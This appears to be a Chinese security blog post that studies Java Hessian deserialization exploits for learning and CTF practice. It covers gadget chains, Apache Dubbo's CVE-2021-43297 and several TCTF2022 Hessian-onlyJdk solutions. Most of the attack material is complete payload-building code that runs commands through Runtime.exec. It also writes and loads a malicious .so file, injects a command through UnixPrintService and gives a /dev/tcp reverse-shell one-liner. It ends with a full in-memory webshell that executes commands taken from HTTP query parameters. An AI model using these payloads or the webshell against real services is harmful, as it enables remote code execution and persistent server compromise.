Hessian反序列化
Hessian反序列化
前言
这个hessian反序列化和其他的反序列化有点不同,
这里就是序列化和反序列化不用ObjectOutputStream和ObjectInputStream
改为使用对应的Hessian或Hessian2
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;依赖
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>原生hessian反序列化链
如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打下去
HessianInput.readObject
SerializeFactory.readMap
_hashMapDeserializer = new MapDeserializer(HashMap.class);
return _hashMapDeserializer.readMap(in);
map.put(in.readObject(), in.readObject()); //入口就在这里JdbcRowSetImpl
package Hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.beanutils.BeanComparator;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;
import java.util.PriorityQueue;
import java.util.Queue;
public class test implements Serializable {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:1099/exp";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static <T> byte[] serialize(T o)throws IOException{
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
output.close();
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes)throws IOException{
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(stream);
Object o = input.readObject();
return (T) o;
}
public static void setValue(Object obj,String name,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj,String name) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
}这样看起来好像和普通的使用ObjectOutputStream没什么区别
那下面这条链子区别就来了
TemplatesImpl
这是我们最经常使用的一个类
先说结果,直接用HessianInput到TemplatesImpl的链子是无法使用的
要使用jdk原生反序列化即ObjectInputStream才可以
因为TemplateImpl的readObject的最后一行有_tfactory = new TransformerFactoryImpl();
分析
但就_tfactory 来说,他被transient修饰,无法通过序列化和反序列化传递数据
但是TemplatesImpl能使用的前提之一就是_tfactory 的值为new TransformerFactoryImpl();
我拿任意一个jackson链子下断点分析
断点就下在_tfactory = new TransformerFactoryImpl();这里
先看正常的ObjectInputStream
然后就往前看调用栈,这里说不了什么,只能看代码
可以看到这三个调用栈调用了7次(不同链子不同

看完这三处的代码后可以知道,大概逻辑就是判断你的类有没有readObject方法,如果有则执行
并且他会判断你所有实例化的类,所以这里才调用了7次(按链条顺序依次判断
大佬们的说法:
如果被反序列化的类重写了
readObject(),那么Java就会通过反射来调用重写的readObject()
也就是走到了TemplatesImpl的readObject的方法并把_tfactory 的值赋值为new TransformerFactoryImpl();

要是使用HessianInput的话就不会经过这里
导致最后要执行的TemplatesImpl对象的_tfactory仍为null,导致payload无法执行

解决方法
利用SignedObject进行二次反序列化即可
因为他会利用ObjectInputStream再次进行反序列化

public class test {
public static void main(String[] args) throws Exception {
Templates templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
setValue(templatesimpl,"_name","z");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesimpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Templates proxyObj = (Templates) Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes2 = new POJONode(proxyObj);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,jsonNodes2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString(null));
HashMap<Object, Object> objectObjectHashMap = makeMap(h1, h2);
deserialize(serialize(objectObjectHashMap));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static <T> byte[] serialize(T o)throws IOException{
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
output.close();
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes)throws IOException{
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(stream);
Object o = input.readObject();
return (T) o;
}
public static void setValue(Object obj,String name,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj,String name) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
}apache dubbo的hessian反序列化
dubbo使用的是alibaba修改过的hessian
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.0</version>
</dependency>
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.HessianInput;
import com.alibaba.com.caucho.hessian.io.HessianOutput;JdbcRowSetImpl
如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打ROME
正常打应该是没问题的,因为还是走map.put

TemplatesImpl (行不通
但这里像我们上述分析的就不行了
unknown说法:
原生hessian底层反序列化时,用的unsafe创建对象,与构造函数无关。
alibaba改写的hessian反序列化时,用的JavaDeserializer,会自动挨个测试构造器直到成功
先调用构造方法,属性传null,创建出对象后再设置属性。
因为HotSwappableTargetSource和SignedObject构造方法传参null会报错,所以这两个用不了。
我也发现了他说的这些区别




这一步之后就报错了结束了
具体也不知道咋修改
Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)

如果在使用Hessian2进行反序列化时抛出异常,则会进行字符串拼接操作,进而调用obj的toString()方法
寻找谁调用了expect方法

这里以readString为例,如果tag在switch语句中失配,就会进入default分支的except方法。其他的read方法同理。
public String readString() throws IOException {
int tag = this.read();
int ch;
switch (tag) {
case 0:
case 1:
.。。。
case 126:
case 127:
default:
throw this.expect("string", tag);
......
}
}Boogipop大佬因为搭建了dubbo环境,他是从rpc通信的角度进行利用
但反序列化一般关注的是 readObject, 所以我们研究如何从 readObject 走到 readString, 进而走到 expect
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
if (expectedClass == null || expectedClass == Object.class)
return readObject();
int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'N':
return null;
case 'H': {
。。。。。。
}
case 'M': {
。。。。。
}
case 'C': {
readObjectDefinition(expectedClass);
return readObject(expectedClass);
}
。。。。。。。。发现当tag为”C”,即67时会调用readObjectDefinition
private void readObjectDefinition(Class cl)
throws IOException {
String type = readString();
int len = readInt();
String[] fieldNames = new String[len];
for (int i = 0; i < len; i++)
fieldNames[i] = readString();
ObjectDefinition def = new ObjectDefinition(type, fieldNames);
if (_classDefs == null)
_classDefs = new ArrayList();
_classDefs.add(def);
}调用了readString
所以现在就是如何让tag的值为67
网上看到的一些方法都是选择重写 writeString 指定第一次 read 的 tag 为 67

重写逻辑为这样
然后在序列化之前wirteString(“aaa”)即可
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.writeString("aaa");
out.writeObject(o);在网鼎杯2022 BadBean Hessian2中
序列化时会报HikariDataSource没有实现Serializable接口的错误,用该方法即可
但是一般按理来说hessian可以反序列化未实现serializable接口的类
X1r0z大佬做法
因为 hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 byte 数组的前面再拼一个 67 就行了
woc,这位佬的思路总是那么惊人
Person person = new Person();
person.setAge(18);
person.setName("lingRu");
byte[] serialize = serialize(person);
byte[] data = Serialization.hessian2Serialize(person);
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);
Serialization.hessian2Unserialize(poc);
至于 readString 里面读的第二个 tag 其实也不用考虑, 因为写入的 object 本来就不是 String 类型的, 最终都能够走到 throw this.expect("string", tag)
Boogipop大佬
牛波一
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
实际触发点不止67一个
- case 77 调用 readtype ,进入 readInt 触发expect
- case 79 调用 readInt 触发expect
- case 81 调用 readInt 触发expect
没有实现Serializable接口的处理方法
当你要序列化的类时会报没有实现Serializable接口的错误,直接重写com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer加上一行
this._isAllowNonSerializable = true[
或者
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);其实一句代码就能解决
oo.getSerializerFactory().setAllowNonSerializable(true);ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);Hessian-onlyjdk TCTF2022
基于上述hessian2的toString漏洞,然后找原生类进行利用
解法一
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
// 前提条件:CVE-2021-43297,打toString()
public class Hessian_JavaWrapper {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(test.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}import java.io.IOException;
public class test {
public static void _main(String[] argv) throws IOException{
Runtime.getRuntime().exec("calc");
}
}几大细节
SwingLazyValue#createValue中可以触发任意类的任意方法,那么就可以实现RCE(其实并不是任意,需要静态和public这两个条件)

让他执行
JavaWrapper._main,我们只需要创建一个恶意类,其中带一个方法名叫_main然后让他加载那么就可以执行命令了PKCS9Attributes没有无参构造,使用魔术类绕过构造方法

跑个代码看个乐子
解法二
MimeTypeParameterList + SwingLazyValue + MethodUtil.invoke
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults.put("key", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();解法三(写文件)
MimeTypeParameterList+ProxyLazyValue+DumpBytecode.dumpBytecode+System.load
public static void main(String[] args) throws Exception {
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code= Files.readAllBytes(Paths.get("./calc.so"));
String classname="calc";
//写文件
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});
//System.load加载so文件
// UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
// "/tmp/calc.class"
// });
setFieldValue(proxyLazyValue,"acc",null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("key", proxyLazyValue);
Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Unsafe getUnsafe() throws Exception{
Class<?> aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
return unsafe;
}写一个文件名为.class的so文件,然后使用System.load加载,因为System.load不管后缀是什么都可以执行
gcc -c calc.c -o calc && gcc calc --share -o calc.so
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) calc (){
system("calc");
}非预期
直接走的Hashtable.equals这个入口,不从tostring()走
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import com.caucho.hessian.io.*;
import java.io.*;
import java.util.HashMap;
import javax.swing.UIDefaults;
import sun.swing.SwingLazyValue;
public class Hessian_onlyJdk {
public static void main(final String[] args) throws Exception {
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
UIDefaults uiDefaults1 = new UIDefaults();
uiDefaults1.put("_", slz);
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults2.put("_", slz);
HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(hashMap);
oo.flush();
ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(bai);
hessian2Input.readObject();
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}调用栈
invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:814, Hashtable (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)最后使用bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/port 0>&1反弹shell即可
相关题目存个payload
sun.print.UnixPrintService的利用
因为可以不用实现序列化接口,所以找getter和命令执行的类就行
用方式就是简单命令拼接执行(缺点就是太能弹了,基本上每个get方法都能弹)
Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class,declaredConstructor.newInstance(";open -na Calculator"));
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> map = JDKUtil.makeMap(root, root);
//
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
//HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
//sf.setAllowNonSerializable(true);
//output.setSerializerFactory(sf);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(map);
output.getBytesOutputStream().flush();
output.completeMessage();
output.close();
System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));web服务由com.sun.net.httpserver实现时的内存马
同样是获取线程
import com.sun.net.httpserver.HttpContext;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.*;
import java.lang.reflect.Field;
public class Yyds extends AbstractTranslet implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String response = "Y4tacker's MemoryShell";
String query = t.getRequestURI().getQuery();
String[] var3 = query.split("=");
System.out.println(var3[0]+var3[1]);
ByteArrayOutputStream output = null;
if (var3[0].equals("y4tacker")){
InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream();
output = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int n = 0;
while (-1 != (n = inputStream.read(buffer))) {
output.write(buffer, 0, n);
}
}
response+=("\n"+new String(output.toByteArray()));
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Yyds() throws Exception {
super();
try{
Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("Thread-2")) {
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
System.out.println(obj);
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("contexts");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("list");
field.setAccessible(true);
obj = field.get(obj);
java.util.LinkedList lt = (java.util.LinkedList)obj;
Object o = lt.get(0);
field = o.getClass().getDeclaredField("handler");
field.setAccessible(true);
field.set(o,this);
}catch (Exception e){
e.printStackTrace();
}
}
}
}catch (Exception e){
}
}
}reference
被我忘掉的Hessian反序列化 - Boogiepop Doesn’t Laugh (boogipop.com)
[TCTF2022 Hessian-onlyJdk - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/03/21/TCTF2022 _ Hessian-onlyJdk/)
Hessian 反序列化知一二 | 素十八 (su18.org)这位佬写的文章是真的细